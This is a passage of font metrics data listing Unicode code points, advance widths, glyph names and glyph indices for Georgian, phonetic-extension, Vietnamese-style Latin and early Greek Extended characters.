U 4258 ; WX 828 ; N uni10A2 ; G 1178
U 4259 ; WX 859 ; N uni10A3 ; G 1179
U 4260 ; WX 733 ; N uni10A4 ; G 1180
U 4261 ; WX 981 ; N uni10A5 ; G 1181
U 4262 ; WX 916 ; N uni10A6 ; G 1182
U 4263 ; WX 1101 ; N uni10A7 ; G 1183
U 4264 ; WX 566 ; N uni10A8 ; G 1184
U 4265 ; WX 750 ; N uni10A9 ; G 1185
U 4266 ; WX 962 ; N uni10AA ; G 1186
U 4267 ; WX 941 ; N uni10AB ; G 1187
U 4268 ; WX 743 ; N uni10AC ; G 1188
U 4269 ; WX 1075 ; N uni10AD ; G 1189
U 4270 ; WX 896 ; N uni10AE ; G 1190
U 4271 ; WX 829 ; N uni10AF ; G 1191
U 4272 ; WX 1040 ; N uni10B0 ; G 1192
U 4273 ; WX 733 ; N uni10B1 ; G 1193
U 4274 ; WX 669 ; N uni10B2 ; G 1194
U 4275 ; WX 1015 ; N uni10B3 ; G 1195
U 4276 ; WX 937 ; N uni10B4 ; G 1196
U 4277 ; WX 1020 ; N uni10B5 ; G 1197
U 4278 ; WX 731 ; N uni10B6 ; G 1198
U 4279 ; WX 733 ; N uni10B7 ; G 1199
U 4280 ; WX 732 ; N uni10B8 ; G 1200
U 4281 ; WX 733 ; N uni10B9 ; G 1201
U 4282 ; WX 879 ; N uni10BA ; G 1202
U 4283 ; WX 937 ; N uni10BB ; G 1203
U 4284 ; WX 714 ; N uni10BC ; G 1204
U 4285 ; WX 755 ; N uni10BD ; G 1205
U 4286 ; WX 733 ; N uni10BE ; G 1206
U 4287 ; WX 958 ; N uni10BF ; G 1207
U 4288 ; WX 1000 ; N uni10C0 ; G 1208
U 4289 ; WX 702 ; N uni10C1 ; G 1209
U 4290 ; WX 864 ; N uni10C2 ; G 1210
U 4291 ; WX 734 ; N uni10C3 ; G 1211
U 4292 ; WX 837 ; N uni10C4 ; G 1212
U 4293 ; WX 951 ; N uni10C5 ; G 1213
U 4304 ; WX 541 ; N uni10D0 ; G 1214
U 4305 ; WX 571 ; N uni10D1 ; G 1215
U 4306 ; WX 589 ; N uni10D2 ; G 1216
U 4307 ; WX 833 ; N uni10D3 ; G 1217
U 4308 ; WX 561 ; N uni10D4 ; G 1218
U 4309 ; WX 557 ; N uni10D5 ; G 1219
U 4310 ; WX 618 ; N uni10D6 ; G 1220
U 4311 ; WX 861 ; N uni10D7 ; G 1221
U 4312 ; WX 560 ; N uni10D8 ; G 1222
U 4313 ; WX 546 ; N uni10D9 ; G 1223
U 4314 ; WX 1066 ; N uni10DA ; G 1224
U 4315 ; WX 586 ; N uni10DB ; G 1225
U 4316 ; WX 586 ; N uni10DC ; G 1226
U 4317 ; WX 825 ; N uni10DD ; G 1227
U 4318 ; WX 570 ; N uni10DE ; G 1228
U 4319 ; WX 581 ; N uni10DF ; G 1229
U 4320 ; WX 824 ; N uni10E0 ; G 1230
U 4321 ; WX 607 ; N uni10E1 ; G 1231
U 4322 ; WX 748 ; N uni10E2 ; G 1232
U 4323 ; WX 698 ; N uni10E3 ; G 1233
U 4324 ; WX 815 ; N uni10E4 ; G 1234
U 4325 ; WX 585 ; N uni10E5 ; G 1235
U 4326 ; WX 858 ; N uni10E6 ; G 1236
U 4327 ; WX 568 ; N uni10E7 ; G 1237
U 4328 ; WX 594 ; N uni10E8 ; G 1238
U 4329 ; WX 586 ; N uni10E9 ; G 1239
U 4330 ; WX 675 ; N uni10EA ; G 1240
U 4331 ; WX 587 ; N uni10EB ; G 1241
U 4332 ; WX 582 ; N uni10EC ; G 1242
U 4333 ; WX 576 ; N uni10ED ; G 1243
U 4334 ; WX 612 ; N uni10EE ; G 1244
U 4335 ; WX 683 ; N uni10EF ; G 1245
U 4336 ; WX 572 ; N uni10F0 ; G 1246
U 4337 ; WX 603 ; N uni10F1 ; G 1247
U 4338 ; WX 571 ; N uni10F2 ; G 1248
U 4339 ; WX 572 ; N uni10F3 ; G 1249
U 4340 ; WX 570 ; N uni10F4 ; G 1250
U 4341 ; WX 649 ; N uni10F5 ; G 1251
U 4342 ; WX 886 ; N uni10F6 ; G 1252
U 4343 ; WX 626 ; N uni10F7 ; G 1253
U 4344 ; WX 582 ; N uni10F8 ; G 1254
U 4345 ; WX 619 ; N uni10F9 ; G 1255
U 4346 ; WX 571 ; N uni10FA ; G 1256
U 4347 ; WX 437 ; N uni10FB ; G 1257
U 4348 ; WX 354 ; N uni10FC ; G 1258
U 7424 ; WX 565 ; N uni1D00 ; G 1259
U 7425 ; WX 774 ; N uni1D01 ; G 1260
U 7426 ; WX 940 ; N uni1D02 ; G 1261
U 7427 ; WX 563 ; N uni1D03 ; G 1262
U 7428 ; WX 560 ; N uni1D04 ; G 1263
U 7429 ; WX 585 ; N uni1D05 ; G 1264
U 7430 ; WX 585 ; N uni1D06 ; G 1265
U 7431 ; WX 553 ; N uni1D07 ; G 1266
U 7432 ; WX 509 ; N uni1D08 ; G 1267
U 7433 ; WX 320 ; N uni1D09 ; G 1268
U 7434 ; WX 499 ; N uni1D0A ; G 1269
U 7435 ; WX 625 ; N uni1D0B ; G 1270
U 7436 ; WX 543 ; N uni1D0C ; G 1271
U 7437 ; WX 778 ; N uni1D0D ; G 1272
U 7438 ; WX 667 ; N uni1D0E ; G 1273
U 7439 ; WX 602 ; N uni1D0F ; G 1274
U 7440 ; WX 560 ; N uni1D10 ; G 1275
U 7441 ; WX 647 ; N uni1D11 ; G 1276
U 7442 ; WX 647 ; N uni1D12 ; G 1277
U 7443 ; WX 647 ; N uni1D13 ; G 1278
U 7444 ; WX 989 ; N uni1D14 ; G 1279
U 7445 ; WX 512 ; N uni1D15 ; G 1280
U 7446 ; WX 602 ; N uni1D16 ; G 1281
U 7447 ; WX 602 ; N uni1D17 ; G 1282
U 7448 ; WX 553 ; N uni1D18 ; G 1283
U 7449 ; WX 594 ; N uni1D19 ; G 1284
U 7450 ; WX 594 ; N uni1D1A ; G 1285
U 7451 ; WX 553 ; N uni1D1B ; G 1286
U 7452 ; WX 585 ; N uni1D1C ; G 1287
U 7453 ; WX 664 ; N uni1D1D ; G 1288
U 7454 ; WX 923 ; N uni1D1E ; G 1289
U 7455 ; WX 655 ; N uni1D1F ; G 1290
U 7456 ; WX 565 ; N uni1D20 ; G 1291
U 7457 ; WX 856 ; N uni1D21 ; G 1292
U 7458 ; WX 527 ; N uni1D22 ; G 1293
U 7459 ; WX 527 ; N uni1D23 ; G 1294
U 7460 ; WX 531 ; N uni1D24 ; G 1295
U 7461 ; WX 743 ; N uni1D25 ; G 1296
U 7462 ; WX 524 ; N uni1D26 ; G 1297
U 7463 ; WX 565 ; N uni1D27 ; G 1298
U 7464 ; WX 657 ; N uni1D28 ; G 1299
U 7465 ; WX 553 ; N uni1D29 ; G 1300
U 7466 ; WX 703 ; N uni1D2A ; G 1301
U 7467 ; WX 635 ; N uni1D2B ; G 1302
U 7468 ; WX 455 ; N uni1D2C ; G 1303
U 7469 ; WX 630 ; N uni1D2D ; G 1304
U 7470 ; WX 463 ; N uni1D2E ; G 1305
U 7471 ; WX 463 ; N uni1D2F ; G 1306
U 7472 ; WX 505 ; N uni1D30 ; G 1307
U 7473 ; WX 459 ; N uni1D31 ; G 1308
U 7474 ; WX 459 ; N uni1D32 ; G 1309
U 7475 ; WX 503 ; N uni1D33 ; G 1310
U 7476 ; WX 549 ; N uni1D34 ; G 1311
U 7477 ; WX 249 ; N uni1D35 ; G 1312
U 7478 ; WX 252 ; N uni1D36 ; G 1313
U 7479 ; WX 470 ; N uni1D37 ; G 1314
U 7480 ; WX 418 ; N uni1D38 ; G 1315
U 7481 ; WX 645 ; N uni1D39 ; G 1316
U 7482 ; WX 551 ; N uni1D3A ; G 1317
U 7483 ; WX 551 ; N uni1D3B ; G 1318
U 7484 ; WX 516 ; N uni1D3C ; G 1319
U 7485 ; WX 369 ; N uni1D3D ; G 1320
U 7486 ; WX 424 ; N uni1D3E ; G 1321
U 7487 ; WX 474 ; N uni1D3F ; G 1322
U 7488 ; WX 420 ; N uni1D40 ; G 1323
U 7489 ; WX 531 ; N uni1D41 ; G 1324
U 7490 ; WX 647 ; N uni1D42 ; G 1325
U 7491 ; WX 386 ; N uni1D43 ; G 1326
U 7492 ; WX 386 ; N uni1D44 ; G 1327
U 7493 ; WX 400 ; N uni1D45 ; G 1328
U 7494 ; WX 618 ; N uni1D46 ; G 1329
U 7495 ; WX 400 ; N uni1D47 ; G 1330
U 7496 ; WX 400 ; N uni1D48 ; G 1331
U 7497 ; WX 387 ; N uni1D49 ; G 1332
U 7498 ; WX 387 ; N uni1D4A ; G 1333
U 7499 ; WX 340 ; N uni1D4B ; G 1334
U 7500 ; WX 340 ; N uni1D4C ; G 1335
U 7501 ; WX 400 ; N uni1D4D ; G 1336
U 7502 ; WX 175 ; N uni1D4E ; G 1337
U 7503 ; WX 365 ; N uni1D4F ; G 1338
U 7504 ; WX 613 ; N uni1D50 ; G 1339
U 7505 ; WX 399 ; N uni1D51 ; G 1340
U 7506 ; WX 385 ; N uni1D52 ; G 1341
U 7507 ; WX 346 ; N uni1D53 ; G 1342
U 7508 ; WX 385 ; N uni1D54 ; G 1343
U 7509 ; WX 385 ; N uni1D55 ; G 1344
U 7510 ; WX 400 ; N uni1D56 ; G 1345
U 7511 ; WX 247 ; N uni1D57 ; G 1346
U 7512 ; WX 399 ; N uni1D58 ; G 1347
U 7513 ; WX 418 ; N uni1D59 ; G 1348
U 7514 ; WX 613 ; N uni1D5A ; G 1349
U 7515 ; WX 373 ; N uni1D5B ; G 1350
U 7516 ; WX 468 ; N uni1D5C ; G 1351
U 7517 ; WX 364 ; N uni1D5D ; G 1352
U 7518 ; WX 376 ; N uni1D5E ; G 1353
U 7519 ; WX 379 ; N uni1D5F ; G 1354
U 7520 ; WX 441 ; N uni1D60 ; G 1355
U 7521 ; WX 381 ; N uni1D61 ; G 1356
U 7522 ; WX 201 ; N uni1D62 ; G 1357
U 7523 ; WX 347 ; N uni1D63 ; G 1358
U 7524 ; WX 399 ; N uni1D64 ; G 1359
U 7525 ; WX 373 ; N uni1D65 ; G 1360
U 7526 ; WX 364 ; N uni1D66 ; G 1361
U 7527 ; WX 376 ; N uni1D67 ; G 1362
U 7528 ; WX 370 ; N uni1D68 ; G 1363
U 7529 ; WX 441 ; N uni1D69 ; G 1364
U 7530 ; WX 381 ; N uni1D6A ; G 1365
U 7531 ; WX 974 ; N uni1D6B ; G 1366
U 7543 ; WX 640 ; N uni1D77 ; G 1367
U 7544 ; WX 549 ; N uni1D78 ; G 1368
U 7547 ; WX 320 ; N uni1D7B ; G 1369
U 7548 ; WX 392 ; N uni1D7C ; G 1370
U 7549 ; WX 640 ; N uni1D7D ; G 1371
U 7550 ; WX 585 ; N uni1D7E ; G 1372
U 7551 ; WX 620 ; N uni1D7F ; G 1373
U 7557 ; WX 320 ; N uni1D85 ; G 1374
U 7579 ; WX 400 ; N uni1D9B ; G 1375
U 7580 ; WX 346 ; N uni1D9C ; G 1376
U 7581 ; WX 346 ; N uni1D9D ; G 1377
U 7582 ; WX 385 ; N uni1D9E ; G 1378
U 7583 ; WX 340 ; N uni1D9F ; G 1379
U 7584 ; WX 222 ; N uni1DA0 ; G 1380
U 7585 ; WX 229 ; N uni1DA1 ; G 1381
U 7586 ; WX 400 ; N uni1DA2 ; G 1382
U 7587 ; WX 399 ; N uni1DA3 ; G 1383
U 7588 ; WX 234 ; N uni1DA4 ; G 1384
U 7589 ; WX 244 ; N uni1DA5 ; G 1385
U 7590 ; WX 234 ; N uni1DA6 ; G 1386
U 7591 ; WX 234 ; N uni1DA7 ; G 1387
U 7592 ; WX 230 ; N uni1DA8 ; G 1388
U 7593 ; WX 175 ; N uni1DA9 ; G 1389
U 7594 ; WX 175 ; N uni1DAA ; G 1390
U 7595 ; WX 367 ; N uni1DAB ; G 1391
U 7596 ; WX 613 ; N uni1DAC ; G 1392
U 7597 ; WX 613 ; N uni1DAD ; G 1393
U 7598 ; WX 407 ; N uni1DAE ; G 1394
U 7599 ; WX 404 ; N uni1DAF ; G 1395
U 7600 ; WX 399 ; N uni1DB0 ; G 1396
U 7601 ; WX 385 ; N uni1DB1 ; G 1397
U 7602 ; WX 385 ; N uni1DB2 ; G 1398
U 7603 ; WX 328 ; N uni1DB3 ; G 1399
U 7604 ; WX 211 ; N uni1DB4 ; G 1400
U 7605 ; WX 247 ; N uni1DB5 ; G 1401
U 7606 ; WX 399 ; N uni1DB6 ; G 1402
U 7607 ; WX 389 ; N uni1DB7 ; G 1403
U 7608 ; WX 368 ; N uni1DB8 ; G 1404
U 7609 ; WX 376 ; N uni1DB9 ; G 1405
U 7610 ; WX 373 ; N uni1DBA ; G 1406
U 7611 ; WX 331 ; N uni1DBB ; G 1407
U 7612 ; WX 331 ; N uni1DBC ; G 1408
U 7613 ; WX 331 ; N uni1DBD ; G 1409
U 7614 ; WX 364 ; N uni1DBE ; G 1410
U 7615 ; WX 385 ; N uni1DBF ; G 1411
U 7620 ; WX 0 ; N uni1DC4 ; G 1412
U 7621 ; WX 0 ; N uni1DC5 ; G 1413
U 7622 ; WX 0 ; N uni1DC6 ; G 1414
U 7623 ; WX 0 ; N uni1DC7 ; G 1415
U 7624 ; WX 0 ; N uni1DC8 ; G 1416
U 7625 ; WX 0 ; N uni1DC9 ; G 1417
U 7680 ; WX 722 ; N uni1E00 ; G 1418
U 7681 ; WX 596 ; N uni1E01 ; G 1419
U 7682 ; WX 735 ; N uni1E02 ; G 1420
U 7683 ; WX 640 ; N uni1E03 ; G 1421
U 7684 ; WX 735 ; N uni1E04 ; G 1422
U 7685 ; WX 640 ; N uni1E05 ; G 1423
U 7686 ; WX 735 ; N uni1E06 ; G 1424
U 7687 ; WX 640 ; N uni1E07 ; G 1425
U 7688 ; WX 765 ; N uni1E08 ; G 1426
U 7689 ; WX 560 ; N uni1E09 ; G 1427
U 7690 ; WX 802 ; N uni1E0A ; G 1428
U 7691 ; WX 640 ; N uni1E0B ; G 1429
U 7692 ; WX 802 ; N uni1E0C ; G 1430
U 7693 ; WX 640 ; N uni1E0D ; G 1431
U 7694 ; WX 802 ; N uni1E0E ; G 1432
U 7695 ; WX 640 ; N uni1E0F ; G 1433
U 7696 ; WX 802 ; N uni1E10 ; G 1434
U 7697 ; WX 640 ; N uni1E11 ; G 1435
U 7698 ; WX 802 ; N uni1E12 ; G 1436
U 7699 ; WX 640 ; N uni1E13 ; G 1437
U 7700 ; WX 730 ; N uni1E14 ; G 1438
U 7701 ; WX 592 ; N uni1E15 ; G 1439
U 7702 ; WX 730 ; N uni1E16 ; G 1440
U 7703 ; WX 592 ; N uni1E17 ; G 1441
U 7704 ; WX 730 ; N uni1E18 ; G 1442
U 7705 ; WX 592 ; N uni1E19 ; G 1443
U 7706 ; WX 730 ; N uni1E1A ; G 1444
U 7707 ; WX 592 ; N uni1E1B ; G 1445
U 7708 ; WX 730 ; N uni1E1C ; G 1446
U 7709 ; WX 592 ; N uni1E1D ; G 1447
U 7710 ; WX 694 ; N uni1E1E ; G 1448
U 7711 ; WX 370 ; N uni1E1F ; G 1449
U 7712 ; WX 799 ; N uni1E20 ; G 1450
U 7713 ; WX 640 ; N uni1E21 ; G 1451
U 7714 ; WX 872 ; N uni1E22 ; G 1452
U 7715 ; WX 644 ; N uni1E23 ; G 1453
U 7716 ; WX 872 ; N uni1E24 ; G 1454
U 7717 ; WX 644 ; N uni1E25 ; G 1455
U 7718 ; WX 872 ; N uni1E26 ; G 1456
U 7719 ; WX 644 ; N uni1E27 ; G 1457
U 7720 ; WX 872 ; N uni1E28 ; G 1458
U 7721 ; WX 644 ; N uni1E29 ; G 1459
U 7722 ; WX 872 ; N uni1E2A ; G 1460
U 7723 ; WX 644 ; N uni1E2B ; G 1461
U 7724 ; WX 395 ; N uni1E2C ; G 1462
U 7725 ; WX 320 ; N uni1E2D ; G 1463
U 7726 ; WX 395 ; N uni1E2E ; G 1464
U 7727 ; WX 320 ; N uni1E2F ; G 1465
U 7728 ; WX 747 ; N uni1E30 ; G 1466
U 7729 ; WX 606 ; N uni1E31 ; G 1467
U 7730 ; WX 747 ; N uni1E32 ; G 1468
U 7731 ; WX 606 ; N uni1E33 ; G 1469
U 7732 ; WX 747 ; N uni1E34 ; G 1470
U 7733 ; WX 606 ; N uni1E35 ; G 1471
U 7734 ; WX 664 ; N uni1E36 ; G 1472
U 7735 ; WX 320 ; N uni1E37 ; G 1473
U 7736 ; WX 664 ; N uni1E38 ; G 1474
U 7737 ; WX 320 ; N uni1E39 ; G 1475
U 7738 ; WX 664 ; N uni1E3A ; G 1476
U 7739 ; WX 320 ; N uni1E3B ; G 1477
U 7740 ; WX 664 ; N uni1E3C ; G 1478
U 7741 ; WX 320 ; N uni1E3D ; G 1479
U 7742 ; WX 1024 ; N uni1E3E ; G 1480
U 7743 ; WX 948 ; N uni1E3F ; G 1481
U 7744 ; WX 1024 ; N uni1E40 ; G 1482
U 7745 ; WX 948 ; N uni1E41 ; G 1483
U 7746 ; WX 1024 ; N uni1E42 ; G 1484
U 7747 ; WX 948 ; N uni1E43 ; G 1485
U 7748 ; WX 875 ; N uni1E44 ; G 1486
U 7749 ; WX 644 ; N uni1E45 ; G 1487
U 7750 ; WX 875 ; N uni1E46 ; G 1488
U 7751 ; WX 644 ; N uni1E47 ; G 1489
U 7752 ; WX 875 ; N uni1E48 ; G 1490
U 7753 ; WX 644 ; N uni1E49 ; G 1491
U 7754 ; WX 875 ; N uni1E4A ; G 1492
U 7755 ; WX 644 ; N uni1E4B ; G 1493
U 7756 ; WX 820 ; N uni1E4C ; G 1494
U 7757 ; WX 602 ; N uni1E4D ; G 1495
U 7758 ; WX 820 ; N uni1E4E ; G 1496
U 7759 ; WX 602 ; N uni1E4F ; G 1497
U 7760 ; WX 820 ; N uni1E50 ; G 1498
U 7761 ; WX 602 ; N uni1E51 ; G 1499
U 7762 ; WX 820 ; N uni1E52 ; G 1500
U 7763 ; WX 602 ; N uni1E53 ; G 1501
U 7764 ; WX 673 ; N uni1E54 ; G 1502
U 7765 ; WX 640 ; N uni1E55 ; G 1503
U 7766 ; WX 673 ; N uni1E56 ; G 1504
U 7767 ; WX 640 ; N uni1E57 ; G 1505
U 7768 ; WX 753 ; N uni1E58 ; G 1506
U 7769 ; WX 478 ; N uni1E59 ; G 1507
U 7770 ; WX 753 ; N uni1E5A ; G 1508
U 7771 ; WX 478 ; N uni1E5B ; G 1509
U 7772 ; WX 753 ; N uni1E5C ; G 1510
U 7773 ; WX 478 ; N uni1E5D ; G 1511
U 7774 ; WX 753 ; N uni1E5E ; G 1512
U 7775 ; WX 478 ; N uni1E5F ; G 1513
U 7776 ; WX 685 ; N uni1E60 ; G 1514
U 7777 ; WX 513 ; N uni1E61 ; G 1515
U 7778 ; WX 685 ; N uni1E62 ; G 1516
U 7779 ; WX 513 ; N uni1E63 ; G 1517
U 7780 ; WX 685 ; N uni1E64 ; G 1518
U 7781 ; WX 513 ; N uni1E65 ; G 1519
U 7782 ; WX 685 ; N uni1E66 ; G 1520
U 7783 ; WX 521 ; N uni1E67 ; G 1521
U 7784 ; WX 685 ; N uni1E68 ; G 1522
U 7785 ; WX 513 ; N uni1E69 ; G 1523
U 7786 ; WX 667 ; N uni1E6A ; G 1524
U 7787 ; WX 402 ; N uni1E6B ; G 1525
U 7788 ; WX 667 ; N uni1E6C ; G 1526
U 7789 ; WX 402 ; N uni1E6D ; G 1527
U 7790 ; WX 667 ; N uni1E6E ; G 1528
U 7791 ; WX 402 ; N uni1E6F ; G 1529
U 7792 ; WX 667 ; N uni1E70 ; G 1530
U 7793 ; WX 402 ; N uni1E71 ; G 1531
U 7794 ; WX 843 ; N uni1E72 ; G 1532
U 7795 ; WX 644 ; N uni1E73 ; G 1533
U 7796 ; WX 843 ; N uni1E74 ; G 1534
U 7797 ; WX 644 ; N uni1E75 ; G 1535
U 7798 ; WX 843 ; N uni1E76 ; G 1536
U 7799 ; WX 644 ; N uni1E77 ; G 1537
U 7800 ; WX 843 ; N uni1E78 ; G 1538
U 7801 ; WX 644 ; N uni1E79 ; G 1539
U 7802 ; WX 843 ; N uni1E7A ; G 1540
U 7803 ; WX 644 ; N uni1E7B ; G 1541
U 7804 ; WX 722 ; N uni1E7C ; G 1542
U 7805 ; WX 565 ; N uni1E7D ; G 1543
U 7806 ; WX 722 ; N uni1E7E ; G 1544
U 7807 ; WX 565 ; N uni1E7F ; G 1545
U 7808 ; WX 1028 ; N Wgrave ; G 1546
U 7809 ; WX 856 ; N wgrave ; G 1547
U 7810 ; WX 1028 ; N Wacute ; G 1548
U 7811 ; WX 856 ; N wacute ; G 1549
U 7812 ; WX 1028 ; N Wdieresis ; G 1550
U 7813 ; WX 856 ; N wdieresis ; G 1551
U 7814 ; WX 1028 ; N uni1E86 ; G 1552
U 7815 ; WX 856 ; N uni1E87 ; G 1553
U 7816 ; WX 1028 ; N uni1E88 ; G 1554
U 7817 ; WX 856 ; N uni1E89 ; G 1555
U 7818 ; WX 712 ; N uni1E8A ; G 1556
U 7819 ; WX 564 ; N uni1E8B ; G 1557
U 7820 ; WX 712 ; N uni1E8C ; G 1558
U 7821 ; WX 564 ; N uni1E8D ; G 1559
U 7822 ; WX 660 ; N uni1E8E ; G 1560
U 7823 ; WX 565 ; N uni1E8F ; G 1561
U 7824 ; WX 695 ; N uni1E90 ; G 1562
U 7825 ; WX 527 ; N uni1E91 ; G 1563
U 7826 ; WX 695 ; N uni1E92 ; G 1564
U 7827 ; WX 527 ; N uni1E93 ; G 1565
U 7828 ; WX 695 ; N uni1E94 ; G 1566
U 7829 ; WX 527 ; N uni1E95 ; G 1567
U 7830 ; WX 644 ; N uni1E96 ; G 1568
U 7831 ; WX 402 ; N uni1E97 ; G 1569
U 7832 ; WX 856 ; N uni1E98 ; G 1570
U 7833 ; WX 565 ; N uni1E99 ; G 1571
U 7834 ; WX 903 ; N uni1E9A ; G 1572
U 7835 ; WX 370 ; N uni1E9B ; G 1573
U 7836 ; WX 370 ; N uni1E9C ; G 1574
U 7837 ; WX 370 ; N uni1E9D ; G 1575
U 7838 ; WX 829 ; N uni1E9E ; G 1576
U 7839 ; WX 602 ; N uni1E9F ; G 1577
U 7840 ; WX 722 ; N uni1EA0 ; G 1578
U 7841 ; WX 596 ; N uni1EA1 ; G 1579
U 7842 ; WX 722 ; N uni1EA2 ; G 1580
U 7843 ; WX 596 ; N uni1EA3 ; G 1581
U 7844 ; WX 722 ; N uni1EA4 ; G 1582
U 7845 ; WX 613 ; N uni1EA5 ; G 1583
U 7846 ; WX 722 ; N uni1EA6 ; G 1584
U 7847 ; WX 613 ; N uni1EA7 ; G 1585
U 7848 ; WX 722 ; N uni1EA8 ; G 1586
U 7849 ; WX 613 ; N uni1EA9 ; G 1587
U 7850 ; WX 722 ; N uni1EAA ; G 1588
U 7851 ; WX 613 ; N uni1EAB ; G 1589
U 7852 ; WX 722 ; N uni1EAC ; G 1590
U 7853 ; WX 596 ; N uni1EAD ; G 1591
U 7854 ; WX 722 ; N uni1EAE ; G 1592
U 7855 ; WX 596 ; N uni1EAF ; G 1593
U 7856 ; WX 722 ; N uni1EB0 ; G 1594
U 7857 ; WX 596 ; N uni1EB1 ; G 1595
U 7858 ; WX 722 ; N uni1EB2 ; G 1596
U 7859 ; WX 596 ; N uni1EB3 ; G 1597
U 7860 ; WX 722 ; N uni1EB4 ; G 1598
U 7861 ; WX 596 ; N uni1EB5 ; G 1599
U 7862 ; WX 722 ; N uni1EB6 ; G 1600
U 7863 ; WX 596 ; N uni1EB7 ; G 1601
U 7864 ; WX 730 ; N uni1EB8 ; G 1602
U 7865 ; WX 592 ; N uni1EB9 ; G 1603
U 7866 ; WX 730 ; N uni1EBA ; G 1604
U 7867 ; WX 592 ; N uni1EBB ; G 1605
U 7868 ; WX 730 ; N uni1EBC ; G 1606
U 7869 ; WX 592 ; N uni1EBD ; G 1607
U 7870 ; WX 730 ; N uni1ebe ; G 1608
U 7871 ; WX 615 ; N uni1ebF ; G 1609
U 7872 ; WX 730 ; N uni1EC0 ; G 1610
U 7873 ; WX 615 ; N uni1EC1 ; G 1611
U 7874 ; WX 730 ; N uni1EC2 ; G 1612
U 7875 ; WX 615 ; N uni1EC3 ; G 1613
U 7876 ; WX 730 ; N uni1EC4 ; G 1614
U 7877 ; WX 615 ; N uni1EC5 ; G 1615
U 7878 ; WX 730 ; N uni1EC6 ; G 1616
U 7879 ; WX 592 ; N uni1EC7 ; G 1617
U 7880 ; WX 395 ; N uni1EC8 ; G 1618
U 7881 ; WX 320 ; N uni1EC9 ; G 1619
U 7882 ; WX 395 ; N uni1ECA ; G 1620
U 7883 ; WX 320 ; N uni1ECB ; G 1621
U 7884 ; WX 820 ; N uni1ECC ; G 1622
U 7885 ; WX 602 ; N uni1ECD ; G 1623
U 7886 ; WX 820 ; N uni1ECE ; G 1624
U 7887 ; WX 602 ; N uni1ECF ; G 1625
U 7888 ; WX 820 ; N uni1ED0 ; G 1626
U 7889 ; WX 612 ; N uni1ED1 ; G 1627
U 7890 ; WX 820 ; N uni1ED2 ; G 1628
U 7891 ; WX 612 ; N uni1ED3 ; G 1629
U 7892 ; WX 820 ; N uni1ED4 ; G 1630
U 7893 ; WX 612 ; N uni1ED5 ; G 1631
U 7894 ; WX 820 ; N uni1ED6 ; G 1632
U 7895 ; WX 612 ; N uni1ED7 ; G 1633
U 7896 ; WX 820 ; N uni1ED8 ; G 1634
U 7897 ; WX 602 ; N uni1ED9 ; G 1635
U 7898 ; WX 820 ; N uni1EDA ; G 1636
U 7899 ; WX 602 ; N uni1EDB ; G 1637
U 7900 ; WX 820 ; N uni1EDC ; G 1638
U 7901 ; WX 602 ; N uni1EDD ; G 1639
U 7902 ; WX 820 ; N uni1EDE ; G 1640
U 7903 ; WX 602 ; N uni1EDF ; G 1641
U 7904 ; WX 820 ; N uni1EE0 ; G 1642
U 7905 ; WX 602 ; N uni1EE1 ; G 1643
U 7906 ; WX 820 ; N uni1EE2 ; G 1644
U 7907 ; WX 602 ; N uni1EE3 ; G 1645
U 7908 ; WX 843 ; N uni1EE4 ; G 1646
U 7909 ; WX 644 ; N uni1EE5 ; G 1647
U 7910 ; WX 843 ; N uni1EE6 ; G 1648
U 7911 ; WX 644 ; N uni1EE7 ; G 1649
U 7912 ; WX 843 ; N uni1EE8 ; G 1650
U 7913 ; WX 644 ; N uni1EE9 ; G 1651
U 7914 ; WX 843 ; N uni1EEA ; G 1652
U 7915 ; WX 644 ; N uni1EEB ; G 1653
U 7916 ; WX 843 ; N uni1EEC ; G 1654
U 7917 ; WX 644 ; N uni1EED ; G 1655
U 7918 ; WX 843 ; N uni1EEE ; G 1656
U 7919 ; WX 644 ; N uni1EEF ; G 1657
U 7920 ; WX 843 ; N uni1EF0 ; G 1658
U 7921 ; WX 644 ; N uni1EF1 ; G 1659
U 7922 ; WX 660 ; N Ygrave ; G 1660
U 7923 ; WX 565 ; N ygrave ; G 1661
U 7924 ; WX 660 ; N uni1EF4 ; G 1662
U 7925 ; WX 565 ; N uni1EF5 ; G 1663
U 7926 ; WX 660 ; N uni1EF6 ; G 1664
U 7927 ; WX 565 ; N uni1EF7 ; G 1665
U 7928 ; WX 660 ; N uni1EF8 ; G 1666
U 7929 ; WX 565 ; N uni1EF9 ; G 1667
U 7930 ; WX 949 ; N uni1EFA ; G 1668
U 7931 ; WX 581 ; N uni1EFB ; G 1669
U 7936 ; WX 675 ; N uni1F00 ; G 1670
U 7937 ; WX 675 ; N uni1F01 ; G 1671
U 7938 ; WX 675 ; N uni1F02 ; G 1672
U 7939 ; WX 675 ; N uni1F03 ; G 1673
U 7940 ; WX 675 ; N uni1F04 ; G 1674
U 7941 ; WX 675 ; N uni1F05 ; G 1675
U 7942 ; WX 675 ; N uni1F06 ; G 1676
U 7943 ; WX 675 ; N uni1F07 ; G 1677
U 7944 ; WX 722 ; N uni1F08 ; G 1678
U 7945 ; WX 722 ; N uni1F09 ; G 1679
U 7946 ; WX 869 ; N uni1F0A ; G 1680
U 7947 ; WX 869 ; N uni1F0B ; G 1681
U 7948 ; WX 734 ; N uni1F0C ; G 1682
U 7949 ; WX 763 ; N uni1F0D ; G 1683
U 7950 ; WX 722 ; N uni1F0E ; G 1684
U 7951 ; WX 722 ; N uni1F0F ; G 1685
U 7952 ; WX 537 ; N uni1F10 ; G 1686
U 7953 ; WX 537 ; N uni1F11 ; G 1687
U 7954 ; WX 537 ; N uni1F12 ; G 1688
U 7955 ; WX 537 ; N uni1F13 ; G 1689
U 7956 ; WX 537 ; N uni1F14 ; G 1690
U 7957 ; WX 537 ; N uni1F15 ; G 1691
U 7960 ; WX 853 ; N uni1F18 ; G 1692
U 7961 ; WX 841 ; N uni1F19 ; G 1693
U 7962 ; WX 1067 ; N uni1F1A ; G 1694
U 7963 ; WX 1077 ; N uni1F1B ; G 1695
U 7964 ; WX 1008 ; N uni1F1C ; G 1696
U 7965 ; WX 1035 ; N uni1F1D ; G 1697
U 7968 ; WX 599 ; N uni1F20 ; G 1698
U 7969 ; WX 599 ; N uni1F21 ; G 1699
U 7970 ; WX 599 ; N uni1F22 ; G 1700
U 7971 ; WX 599 ; N uni1F23 ; G 1701
U 7972 ; WX 599 ; N uni1F24 ; G 1702
U 7973 ; WX 599 ; N uni1F25 ; G 1703
U 7974 ; WX 599 ; N uni1F26 ; G 1704
U 7975 ; WX 599 ; N uni1F27 ; G 1705
U 7976 ; WX 998 ; N uni1F28 ; G 1706
U 7977 ; WX 992 ; N uni1F29 ; G 1707
U 7978 ; WX 1212 ; N uni1F2A ; G 1708
U 7979 ; WX 1224 ; N uni1F2B ; G 1709
U 7980 ; WX 1159 ; N uni1F2C ; G 1710
